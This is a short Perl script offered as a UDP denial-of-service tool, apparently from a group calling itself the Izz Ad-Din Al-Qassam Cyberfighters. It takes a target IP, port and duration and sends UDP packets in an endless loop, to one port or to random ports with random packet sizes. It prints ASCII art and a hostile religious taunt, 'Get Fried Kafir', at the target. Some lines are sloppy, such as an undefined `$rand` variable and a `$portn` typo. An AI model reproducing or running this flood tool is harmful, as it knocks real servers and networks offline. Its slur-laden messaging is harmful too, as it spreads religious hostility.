Al Qassam VPS UDP DoS Script * Perl *

#!/usr/bin/perl


use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
printf "
   |
  / \
 /   \
(_____)
 |   | +___________________________________+
 |   |     ____________________________    |
 |   | |  |                            |   |
 |   | |  |                            |   |
 |   | |  |                            | O |
 |   | |  |                            | O |
 |   | |  |____________________________|   |
 |___|    _____________________________________
     +--| \ [][][][][][][][][][][][][] [][][]  \
           \  [][][][][][][][][][][][]  [][][]  \
            \  __________________________________\
              ____________________________________|
 ";

printf "UDP DoS Script ";
printf "Coded by Sheikh ";
printf "Izz Ad-Din Al-Qassam Cyberfighters";

}

my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");

print <<EOTEXT;
Izz Ad-Din Al-Qassam cyberfighters
Get Fried Kafir
EOTEXT
printf "~You are getting fried Kafir!~ $ip on port $portn";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}

packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;;) {
$size=int(rand(1500000-64)+64) ;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}